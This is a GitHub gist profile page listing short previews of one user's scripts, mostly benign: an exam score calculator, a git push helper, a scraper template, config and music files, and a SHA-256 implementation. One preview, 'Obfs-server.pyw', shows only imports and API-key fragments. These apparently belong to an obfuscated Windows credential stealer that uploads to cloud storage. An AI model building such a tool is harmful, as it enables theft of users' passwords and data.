Skip to content

Instantly share code, notes, and snippets.

View yoursamlan's full-sized avatar
🎲
Exploring Bayesian Statistics

Amlan Saha Kundu yoursamlan

🎲
Exploring Bayesian Statistics
View GitHub Profile
@yoursamlan
yoursamlan / server.pyw
Created August 19, 2023 19:21
Obfs-server.pyw
import ctypes ,psutil ,os ,base64 ,io #line:1
import time ,requests ,json ,datetime #line:2
import base64 ,sqlite3 ,win32crypt ,random ,shutil #line:3
from Crypto .Cipher import AES #line:4
from boxsdk import OAuth2 ,Client #line:5
from datetime import timezone ,timedelta #line:6
from PIL import Image #line:7
apiA ="d5ca7f1b39b5177534ff"#line:9
apiB ="ed75f66a096ad29ccc29"#line:10
apiR ="d345dee767f8452412c0"#line:11
@yoursamlan
yoursamlan / CGL T1.js
Last active December 16, 2023 17:59
SSC CGL Tier 1 Score Calculation
for(var totalMarks=0,s=0;s<4;s++){for(var right=0,notAttempted=0,bonus=0,i=25*s;i<25*s+25;i++){" -- "===document.getElementsByClassName("question-pnl")[i].getElementsByClassName("bold")[5].textContent&&notAttempted++;try{document.getElementsByClassName("question-pnl")[i].getElementsByClassName("rightAns")[0].textContent[0]===document.getElementsByClassName("question-pnl")[i].getElementsByClassName("bold")[5].textContent&&right++}catch{bonus++}}wrong=25-notAttempted-right-bonus,marks=2*(right+bonus)-.5*wrong,totalMarks+=marks;var sub=s+1;const sublist=["Reasoning","General Awareness","Quantitative Aptitude","English"];console.log("Subject: "+sublist[sub-1]+"\nAttempted : "+(25-notAttempted)+"\nRight Answers : "+right+"\nWrong Answers : "+wrong+"\nBonus : "+bonus+"\nMarks : "+marks)}console.log("\nTotal Marks : "+totalMarks);
/* CGL T2
var right = 0;
var notAttempted = 0;
for (var i = 0; i < 130; i++) {
try{
if (document.getElementsByClassName('question-pnl')[i].getElementsByClassName("bold")[5].text
import datetime,time
from git import Repo
from tqdm import tqdm
PATH_OF_GIT_REPO = r'C:\Users\path\to\git\dir\.git' # make sure .git folder is properly configured
def git_push():
try:
repo = Repo(PATH_OF_GIT_REPO)
repo.git.add(update=True)
@yoursamlan
yoursamlan / scrapper.py
Created April 2, 2022 10:44
Python 3 BeautifulSoup4 Scrapper Template with mod_security and Error 503 bypass
import requests
from bs4 import BeautifulSoup
URL = "https://example.com"
def getTitle(URL):
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0'}
r = requests.get(URL, headers=headers)
soup = BeautifulSoup(r.content, 'html5lib')
titlediv = soup.find_all("h1", {"class": ""})
{"nightTab":true,"version":"7.3.0","state":{"layout":{"alignment":"center-center","order":"header-bookmark","padding":40,"gutter":20,"size":75,"width":75,"title":"Amlan's Deck","direction":"horizontal","scrollbar":"none","overscroll":false,"area":{"header":{"width":87,"justify":"center"},"bookmark":{"width":100,"justify":"center"}},"breakpoint":"md","favicon":""},"header":{"item":{"justify":"right"},"clock":{"separator":{"show":false,"text":"|"},"meridiem":{"show":true},"hour24":{"show":true},"size":417,"newLine":true,"hour":{"show":true,"display":"number"},"minute":{"show":true,"display":"number"},"second":{"show":false,"display":"number"}},"date":{"day":{"show":true,"display":"word","weekStart":"monday","length":"short"},"date":{"show":true,"display":"number","ordinal":false},"month":{"show":true,"display":"word","length":"short","ordinal":true},"year":{"show":false,"display":"number"},"separator":{"show":true,"text":"."},"format":"month-date","size":214,"newLine":false},"search":{"show":true,"width":{"by":
@yoursamlan
yoursamlan / Neumorphic Anki Card Template
Last active January 7, 2022 04:24
Please modify the field accordingly. Also, here, the dark theme has been selected. If you want to use the light theme, please uncomment the theme and comment the dark one. Thank you..
/* Front Template */
<div class="card">
<div class="front">
<h2 id="word">
{{Word}}
</h2>
</div>
/* Back Template */
## Eastern pluck & 'safari' percussion
## Amlan Saha Kundu ##
##| set_volume! 5
##| puts "SYNC"
##| sample :elec_blip, amp: 0.5
##| sleep 8
set_volume! 0.60
# set_mixer_control! amp: 0.1, amp_slide: 0.1
set_mixer_control! amp: 0.1, amp_slide: 0.1
@yoursamlan
yoursamlan / SHA_256_hak.cpp
Created June 12, 2019 15:16 — forked from hak8or/SHA_256_hak.cpp
SHA-256 basic implementation in C++ with a test.
#include <iostream>
#include <sstream>
#include <bitset>
#include <vector>
#include <iomanip>
#include <cstring>
// By: hak8or
// To compile: g++ -std=c++0x SHA_256_hak.cpp -o SHA_256_hak
// To run self test just run the following: SHA_256_hak